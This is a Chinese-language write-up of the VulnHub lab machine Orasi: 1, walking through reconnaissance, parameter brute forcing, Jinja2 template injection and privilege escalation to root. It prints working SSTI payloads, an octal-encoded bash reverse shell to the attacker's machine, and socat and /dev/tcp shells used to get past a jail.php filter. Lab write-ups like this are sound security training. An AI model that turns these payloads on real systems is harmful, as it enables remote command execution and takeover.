准备:

攻击机:虚拟机kali、本机win10。

靶机:Orasi: 1,下载地址:https://download.vulnhub.com/orasi/Orasi.ova,下载后直接vbox打开即可。

知识点:hex编码、ida逆向、AndroidKiller逆向、ffuf爆破、ssti漏洞、shell反弹、敏感信息发现、信息利用。

隐藏信息:Hint : just one useless little dot,在下载时发现的。

一:信息收集

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.5.0/24,发现靶机地址:192.168.5.156。

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.156,显示开放了21端口、22端口、80端口、5000端口,开启了ftp服务、ssh服务、http服务。其中ftp服务显示允许匿名登录。

2.ftp服务

使用nmap获得的信息匿名登录ftp服务,命令:ftp 192.168.5.156,登录到ftp服务后发现一个url文件,将该文件下载到本地。

执行下载的url文件,返回信息,告诉我们有些事情不太明显,将文件复制到本地使用ida进行逆向,但是查看其伪代码时未发现可以利用的信息。

Sometimes things are not obvious
Element found: 36
逆向伪代码
 #逆向的伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
init = (__int64)malloc(8uLL);
*(_BYTE *)init = 111;
*(_DWORD *)(init + 4) = -1;
insert(1LL, 47LL);
insert(2LL, 115LL);
insert(42LL, 104LL);
insert(4LL, 52LL);
insert(12LL, 100LL);
insert(14LL, 48LL);
insert(17LL, 119LL);
insert(18LL, 36LL);
insert(19LL, 115LL);
puts("Sometimes things are not obvious");
item = search(18LL);
if ( item )
printf("Element found: %d\n", (unsigned int)*(char *)item);
else
puts("Element not found");
return 0;
}

习惯了先看伪代码,但是这里没发现什么有用的信息,后面在程序逻辑图(ida view-1)中发现其寄存器的值连起来是:/sh4d0w$s,猜测是一个目录信息。

3.web访问

访问下80端口和5000端口的web服务并分别访问下/sh4d0w$s目录,在http://192.168.5.156/得到一组信息:6 6 1337leet,暂时不知道作用,在http://192.168.5.156:5000/sh4d0w$s得到提示信息:not input,告诉我们缺少输入。

4.参数爆破

那就直接使用ffuf进行爆破,命令:ffuf -w /usr/share/SecLists/Discovery/Web-Content/common.txt -u 'http://192.168.5.156:5000/sh4d0w\$s?FUZZ=../../../../../etc/passwd' -fs 8,但是未爆破出来。

后面想到在http://192.168.5.156/得到一组信息:6 6 1337leet,这里想了一下应该是告诉我们参数是6位,由1337leet中的六位组成的意思,后面想到了字典生成工具crunch,那就生成一个字典,命令:crunch 6 6 1337leet > cs.txt,然后继续使用ffuf进行爆破,最后成功获得参数:l333tt。

二:信息利用

1.ssti注入

在http://192.168.5.156:5000/sh4d0w$s页面传递l333tt参数为id,http://192.168.5.156:5000/sh4d0w$s?l333tt=id,但是返回了传入的值,未进行执行。

测试下是否是ssti注入漏洞,将传递的id修改为:{{3*3}},发现3*3被执行,因此这里存在ssti注入漏洞。

在网上查找下ssti注入可以利用的语句,然后进行访问看是否可以正常执行我们输入的命令。

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("id").read().zfill(417)}}{%endif%}{% endfor %}

2.shell反弹

现在可以执行我们的命令了那我们就直接进行shell反弹,这里需要对shell反弹语句进行编码,然后在靶机中开启对6688端口的监听,然后访问:http://192.168.5.156:5000/sh4d0w$s?l333tt={%%20for%20x%20in%20().__class__.__base__.__subclasses__()%20%}{%%20if%20%22warning%22%20in%20x.__name__%20%}{{x()._module.__builtins__[%27__import__%27](%27os%27).popen(%22\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\65\56\61\65\60\57\66\66\70\70\40\60\76\46\61\47%20%22).read().zfill(417)}}{%endif%}{%%20endfor%20%}即可获得shell权限。

#字符编码代码,替换下strings即可,后面还要用到这个
oct_result,dec_result,hex_result,bin_result = '','','',''
strings = "import os;os.system('/bin/bash -i');"
#bash -i >& /dev/tcp/192.168.5.150/6688 0>&1
for string in strings:
one_char = ord(string)
dec_result = dec_result + str(one_char) + ' '
oct_result = oct_result + str(oct(one_char).replace('0o','\\'))
hex_result = hex_result + hex(one_char).replace('0x','')
bin_result = bin_result + bin(one_char) + ' '
print('十进制数据:' + dec_result)
print('八进制数据:' + oct_result)
print('十六进制数据:' + hex_result)
print('二进制数据:' + bin_result)
#原语句
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >&/dev/tcp/192.168.5.150/6688 0>&1'").read().zfill(417)}}{%endif%}{% endfor %} #shell反弹语句编码后的语句
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("\142\141\163\150\40\55\143\40\47\142\141\163\150\40\55\151\40\76\46\40\57\144\145\166\57\164\143\160\57\61\71\62\56\61\66\70\56\65\56\61\65\60\57\66\66\70\70\40\60\76\46\61\47
").read().zfill(417)}}{%endif%}{% endfor %}

三:提权

1.提权-kori

使用sudo -l查看下当前账户是否存在可以使用的特权命令,发现存在:(kori) NOPASSWD: /bin/php /home/kori/jail.php *。

分析下jail.php文件,使用exec执行了我们输入的参数,但是对参数进行了过滤,不能出现|bash|eval|nc|whoami等字符。

<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']); if($var == null) die("Orasis Jail, argument missing\n"); function filter($var) {
if(preg_match('/(`|bash|eval|nc|whoami|open|pass|require|include|file|system|\/)/i', $var)) {
return false;
}
return true;
}
if(filter($var)) {
$result = exec($var);
echo "$result\n";
echo "Command executed";
} else {
echo "Restricted characters has been used";
}
echo "\n";
?>

开始使用下面几个要么能连但是权限不对,要不就连上之后无法执行命令,接着换shell语句尝试,最后发现socat TCP:192.168.5.150:8899 EXEC:sh可以,然后获得新的shell权限并成功提权到kori权限。

#出现问题
sudo -u kori /bin/php /home/kori/jail.php sh -i >& /dev/tcp/192.168.5.150/8899 0>&1
sudo -u kori /bin/php /home/kori/jail.php 0<&196;exec 196<>/dev/tcp/192.168.5.150/88991; sh <&196 >&196 2>&196 #最后发现这个可以
sudo -u kori /bin/php /home/kori/jail.php socat TCP:192.168.5.150:8899 EXEC:sh

2.提权-irida

继续使用sudo -l查看下当前账户是否存在可以使用的特权命令,发现存在:(irida) NOPASSWD: /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk。

那就直接将该apk文件复制到/home/kori目录下,命令:sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk,但是显示不被允许。

这里应该是irida账户缺少对kori目录的写入权限,那我们就赋予irida账户写入权限,命令chmond o+w /home/kori,然后建立一个irida.apk文件,命令:touch irida.apk,然后赋予777权限,不然复制的文件还是缺少权限,然后将该文件复制过来,命令:sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk。

在靶机中开启http服务:python3 -m http.server,将apk文件下载到本地,然后使用AndroidKiller进行逆向分析。使用AndroidKiller工具时需要安装java环境并且需要替换下*\AndroidKiller\bin\apktool\apktool目录下的文件并修改apktool.bat、apktool.ini的指向,不然无法逆向时会失败。替换的文件地址:链接:https://pan.baidu.com/s/1QEM6bYkcHLPtz6PkFlwC5Q,提取码:upfn。

在找到的文件中右键查看-查看源码中观察源码信息,代码的意思是:传入了1#2#3#4#5,然后以#进行拆分,然后对五个参数赋值,再然后通过.将五个参数连接起来,结果就是:eye.of.the.tiger.()。

直接使用eye.of.the.tiger.()作为密码来切换到irida账户时会报错,这时想起来开始在下载页面看到的提示信息:Hint : just one useless little dot,告诉我们只有一个无用的点,那我们依次尝试,最后发现正确的密码是:eye.of.the.tiger(),然后成功切换到irida账户。

获得irida账户权限后在/home/irida目录下读取user.txt文件,成功获得flag值。

3.提权-root

继续使用sudo -l查看下当前账户是否存在可以使用的特权命令,发现存在:(root) NOPASSWD: /usr/bin/python3 /root/oras.py。

那我们就直接运行下/root/oras.py文件,命令:sudo /usr/bin/python3 /root/oras.py,随便输入参数,回显告诉我们要输入hexstr。

那我们随便输入一个hex字符:69进行测试,根据报错信息我们得知执行的是exec函数。

那就将import os;os.system("/bin/bash -i");代码进行hash编码,然后输入执行,成功提权到root账户。

获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。

vulnhub靶场之ORASI: 1的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  10. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

随机推荐

  1. torch直接更改参数

    使用model.layer1.weight.data.copy_(w1) 其中model是自定义的参数名字,layer1是某个具体的层,使用某个具体的w1来修改

  2. 高并发解决方案之 redis 分布式锁

    背景:秒杀服务中要写一个定时任务:活动到期时给order微服务发送关闭订单的通知.这需要改变数据库表中的数据,而集群中服务是多节点的方式进行部署,会出现并发执行的情况,所以采用的redis的分布式锁的 ...

  3. goland 快捷键

    goland常用快捷键 Coldestmonth 2018-07-17 17:26:37 18067 收藏 14版权Ctrl+/ 或 Ctrl+Shift+/ 注释(// 或者/-/ )Ctrl+D ...

  4. 面向对象ooDay6

    精华笔记: static final常量:应用率高 必须声明同时初始化 由类名打点来访问,不能被改变 建议:常量所有字母都大写,多个单词用_分隔 编译器在编译时会将常量直接替换为具体的数,效率高 何时 ...

  5. 微信小程序页面间通的5种方式

    PageModel(页面模型)对小程序而言是很重要的一个概念,从app.json中也可以看到,小程序就是由一个个页面组成的. 如上图,这是一个常见结构的小程序:首页是一个双Tab框架PageA和Pag ...

  6. 2020/5/14-笔记:Oracle数据库新建用户与给用户授权

  7. Python操作数据库读书笔记

    SQLite 简介 什么是 SQLite? SQLite是一个进程内的库,实现了自给自足的.无服务器的.零配置的.事务性的 SQL 数据库引擎.它是一个零配置的数据库,这意味着与其他数据库一样,您不需 ...

  8. 博弈论练习4 Calendar Game(SG函数)

    题目链接在这里:D-Calendar Game_牛客竞赛博弈专题班组合游戏基本概念.对抗搜索.Bash游戏.Nim游戏习题 (nowcoder.com) 这题网上有关于奇偶性来找规律的做法,有点人类智 ...

  9. This class is not trusted to be serialized as ObjectMessage payload.ActiveMQ序列化设置

    引子 ObjectMessage引入的生产者和消费者之间的类路径耦合,ActiveMQ支持他们作为JMS规范的一部分. ObjectMessage对象依赖marshal/unmarshal进行java ...

  10. pandas 某几列转为json/dic 格式

    #%% import pandas as pd df=pd.read_excel('工作表.xlsx') col_list=list(df.columns) del_col_list =['c','d ...